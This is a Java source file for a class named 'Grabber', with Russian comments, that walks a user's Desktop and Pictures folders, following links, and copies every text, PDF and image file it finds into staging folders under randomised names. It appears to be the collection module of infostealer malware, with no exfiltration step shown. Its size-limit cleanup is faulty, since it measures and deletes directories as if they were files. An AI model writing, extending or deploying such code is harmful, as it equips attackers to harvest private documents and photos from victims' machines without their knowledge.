package moduly.sbor;


import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.Random;

import static java.nio.file.FileVisitOption.FOLLOW_LINKS;

public class Grabber implements Runnable {

    private final String put_desktop;
    private final String Desktop;

    private final String put_pictures;
    private final String Pictures;

    public Grabber(String put_desktop, String Desktop, String put_pictures, String Pictures) {
        this.put_desktop = put_desktop;
        this.Desktop = Desktop;
        this.put_pictures = put_pictures;
        this.Pictures = Pictures;
    }


    private static final ArrayList<String> mas_rashirenie = new ArrayList<>();


    private void ProverkaFailov() {

        mas_rashirenie.add(".txt"); // расширение
        mas_rashirenie.add(".pdf");
        mas_rashirenie.add(".png");
        mas_rashirenie.add(".jpg");
        mas_rashirenie.add(".jpeg");

        if (new File(put_desktop).exists()) {
            if (!new File(Desktop).exists()) {
                new File(Desktop).mkdirs();
            }
            for (int i = 0; i < mas_rashirenie.size(); i++) {
                proverkaRecursive(mas_rashirenie.get(i), put_desktop, Desktop);
            }

        }
        if (new File(Desktop).exists()) {
            // проверка размера файла

            //String value = String.valueOf(getSizeMB(new File(Desktop)));
            //int size_Desktop_MB = Math.round(Float.parseFloat(value));
            String value1 = String.valueOf(getSizeKB(new File(Desktop)));
            int size_Desktop_KB = Math.round(Float.parseFloat(value1));
            if (size_Desktop_KB > 10000) {
                new File(Desktop).delete();
            }
        }
        if (new File(put_pictures).exists()) {
            if (!new File(Pictures).exists()) {
                new File(Pictures).mkdirs();
            }
            for (int i = 0; i < mas_rashirenie.size(); i++) {
                proverkaRecursive(mas_rashirenie.get(i), put_pictures, Pictures);
            }

        }
        if (new File(Pictures).exists()) {
            // проверка размера файла
            String value1 = String.valueOf(getSizeKB(new File(Pictures)));
            int size_Desktop_KB = Math.round(Float.parseFloat(value1));
            if (size_Desktop_KB > 10000) {
                new File(Pictures).delete();
            }
        }
    }


    private static void proverkaRecursive(String s, String put, String PUT_SRC) {
        try {
            Files.walk(Paths.get(put), FOLLOW_LINKS)
                    .forEach(file -> {
                        if (file.toFile().isFile() && file.toFile().getPath().endsWith(s)) {

                            Random r = new Random();
                            String random_num = String.valueOf(r.nextInt(9999 - 101 + 1) + 101);

                            String res = PUT_SRC + "/" + random_num + "_" + file.getFileName();

                            try {
                                Files.copy(new File(String.valueOf(file)).toPath(), new File(res).toPath());
                            } catch (IOException e) {
                                e.printStackTrace();
                            }
                        }
                    });
        } catch (Exception e) {
            e.printStackTrace();
        }
    }


    private static double getSizeKB(File file) {
        return (double) file.length()/1024;
    }


    @Override
    public void run() {
        ProverkaFailov();
    }
}
